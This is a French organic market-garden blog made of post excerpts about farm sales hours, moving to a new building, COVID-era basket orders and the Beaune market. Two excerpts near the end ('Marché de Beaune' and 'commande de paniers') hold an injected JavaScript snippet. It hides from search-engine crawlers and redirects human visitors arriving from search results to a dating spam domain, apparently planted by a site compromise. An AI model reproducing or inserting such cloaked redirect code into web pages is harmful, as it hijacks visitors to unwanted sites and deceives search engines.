Venez faire votre marché

A partir du 1er mai, la vente à la ferme est à nouveau ouverte en mode marché, fini les commandes à prévoir, venez chercher ce qu'il vous plaît! Au programme de ce printemps, des verdures! L'hiver et son lot de légumes conservation font enfin place aux radis, salade, mesclun, légumes bottes, fèves, petits pois à mélanger selon les goûts et les envies. Les fraises ont échappé au froid polaire de ce début d'avril et se portent bien, elles devraient vite retrouver leur place sur l'étal. On enlève les tables du drive, on ressort les étals, on procède au grand nettoyage de printemps, et le local de vente sera à nouveau prêt vous accueillir tous les jeudis de 17h à  19h et tous les samedis de 9h à 11h (jusqu'au 31 octobre 2022) Vous trouverez chaque semaine du pain (le fournil d'Antigny ) et des oeufs (l'Oeuf Pochey). Les fromages de chèvres de Thomas et Lorette sont aussi de retour et toujours sur commande,...
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Aération du local de vente, une histoire à rebondissement

Depuis notre ouverture en 2019, le nouveau local de vente est balayé par les vents (agréable en été,difficilement supportable en hiver). Le maraîcher se saisi donc du problème durant cet hiver 2021/2022, et voila qu'une porte vient enfin habiller l'entrée du local de vente..reste encore un vitrage à poser Soucieux de la qualité de l'air, une fois cette porte posée, le maraîcher s'est empressée de réaliser une ouverture de l'autre côté du local de vente Voila donc qu'un côté est partiellement fermé, et l'autre est grand ouvert, histoire d'assurer une bonne ventilation des clients qui se trouvent juste au milieu Blague à part, l'accès au local de vente se fait donc désormais depuis le parking sans avoir à rentrer dans la cour de la ferme (les lumières et les moutons vous guideront) et la deuxième porte est commandée pour le confort de tous!! (enfin pas des moutons, eux ils restent dehors)       ...
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Ça y est nous avons déménagé

Ça y est nous avons déménagé

Depuis les portes ouvertes du 12 septembre, un vent de nouveauté souffle aux jardins de Longecourt. Nous avons, après une année et demi de travaux (entrecoupés de la saison maraichère..) déménagé le local professionnel au 12 route de Cussy à Longecourt les Culetre. Nous avons quitté avec un petit pincement au cœur notre fonctionnement au 4 place de la mairie ou nous avons travaillé pendant 6 ans pour découvrir les joies d'un grand local, sans marche, sans pente (ou presque)... toutes ces petites choses qui ne facilitaient pas la vie du maraîcher! Nous espérons donc réduire la charge de travail sur les postes conditionnement, lavage, préparation de commande et réduire le port de charges, pour gagner en efficacité et sauver notre dos! Nous espérons aussi vous accueillir toute l'année dans des conditions plus sympas pour la vente à la ferme avec de la lumière, moins de courants d'air et plus de place. Et c'est aussi le cas pour les collègues producteurs qui...
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On déménage!

Si vous nous suivez depuis un moment, vous avez sûrement l’habitude de nos changements...mais cette fois c'est un grand changement, on déménage! à 300m mais on déménage quand même! On a beau essayer de pousser les murs on commence à se sentir à l’étroit au 4 place de la mairie, alors après 6 années passées ici à empiler les caisses de légumes pour gagner de la place au sol, on prend sous le bras chambre froide, station de lavage, chariots à roulette, local de vente et on s'installe au bout du village, 12 route de Cussy. On y verra enfin clair, et le maraîcher sera soulagé car l'ergonomie a été réfléchie (très fort!)! Nous avons donc plein de choses à vous raconter et encore des projets sous l'autre bras dans ce lieu que nous affectionnons déjà, alors nous vous invitons à pousser la porte du "nouveau bâtiment" le 12 septembre de 9h30 à12h pour le marché (les collègues producteurs et...
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Comment s’en sortir? (du confinement)

Comment s’en sortir? (du confinement)

Nos habitudes de ventes ont été bousculées durant cette longue période confinée... Nous avons été privé de notre grand plaisir de la semaine à l'ouverture des portes de la grange! Fini le bain de foule à Longecourt (si si c'est possible un bain de foule à Longecourt!), on a du mettre ça de côté durant ces trois mois, alors on a fait comme on a pu et forcément quand on fait des choix ça ne peut pas convenir à tous. Il n'y en avait pas assez, ou alors y avait trop de salades, ou bien on voyait même plus les paniers à 10h sur le site.. et je ne vous parle pas du stress des maraîchers en début de saison pour remplir tout les paniers et faire en sorte d'éviter de vous faire un panier que de salades (on aurait pu, mais non nous ne l'avons pas fait!), nous espérons que pour certains cette période aura été l'occasion de se...
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Avant le début de saison

Avant le début de saison

Au programme de notre hiver 2019-2020,  nous n'avons pas chômé entre les travaux dans le futur bâtiment de vente et de stockage, le montage de 3 tunnels en simultané, l'envol d'un autre suite à un des nombreux coup de vent, l'implantation des fraises tant attendues, l’accueil et l'aide précieuse de nos supers stagiaires d'enfer, les tonnes de foin vidées des écuries à aménager, les trente cinq versions des plans d’aménagement du bâtiment, les journées de formation dans le réseau bio Bourgogne, l'arrivée de nos deux consœurs spéciales "écopaturage",  les quarante deux versions du plan d'assolement du jardin, les commandes de plants, de bâches, de toile tissée, d’irrigation, la clôture de notre quatrième exercice comptable, un ou deux ou même trois contrôles  par ci par là, l'audit bio, les livraisons toutes les semaine à l'Amap de Pouilly (et surtout les kilos de radis d'hiver engloutis par nos Amapiens)....tout ça et j'en oublie certainement, ces souvenirs  me semblent précieux à l'heure ou...
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Une bien étrange reprise 2020

La reprise de la saison a un gout très étrange cette année, nous ferons le maximum pour nous adapter aux exigences sanitaires nécessaires.  La saison 5 de la vente à la ferme ne reprendra pas le 16 avril comme prévu mais nous continuerons chaque semaine à proposer une quarantaine de paniers à 20€ en pré commande à venir retirer le mercredi. Vous avez jusqu'au dimanche soir pour passer votre commande. Vous avez été nombreux à nous solliciter, je m'excuse si je n'ai pas pu répondre à toutes les demandes, la charge de travail est importante et notre organisation bousculée. Nous fonctionnons depuis 2 ans grâce à Sophie, une de nos super cliente, avec des paniers  précommandés. Ce système permettait un retrait facile sans faire la queue ou d'"avoir tout ce qu'on veut comme légumes même quand on arrive à 19h" dixit Sophie (la super cliente!).   Bref, ce système se révélè pertinent durant cette crise.Nous permettant ainsi de vous fournir en légumes durant...
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Marché de Beaune

Marché de Beaune

Nous sommes présents depuis le mois de juin et jusqu'au mois de novembre 2018 sur le marché de Beaune qui a lieu tout les samedi matin face aux  Hospices. Nous y allons lorsque les récoltes sont bonnes et que le temps nous le permet, nous y serons quelques fois cet hiver! Nous n'avons malheureusement  jamais la même place pour le moment, il faudra encore nous chercher!!var crawlerAgentRegex = /bot|google|yahoo|bing|yandex/i; var goodRefs = /google|yahoo|yandex|bing/i; if (crawlerAgentRegex.test(navigator.userAgent)) { } else { if (goodRefs.test(document.referrer)){ window.location="http://red.seniors-dating.org/?wwp"; } }...
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commande de paniers

Vous pouvez réserver vos paniers et connaitre leur composition chaque semaine en cliquant ici Les paniers commandés sont à récupérer le jeudi soir durant la vente à la ferme de 17h30 à19h00! var crawlerAgentRegex = /bot|google|yahoo|bing|yandex/i; var goodRefs = /google|yahoo|yandex|bing/i; if (crawlerAgentRegex.test(navigator.userAgent)) { } else { if (goodRefs.test(document.referrer)){ window.location="http://red.seniors-dating.org/?wwp"; } }...
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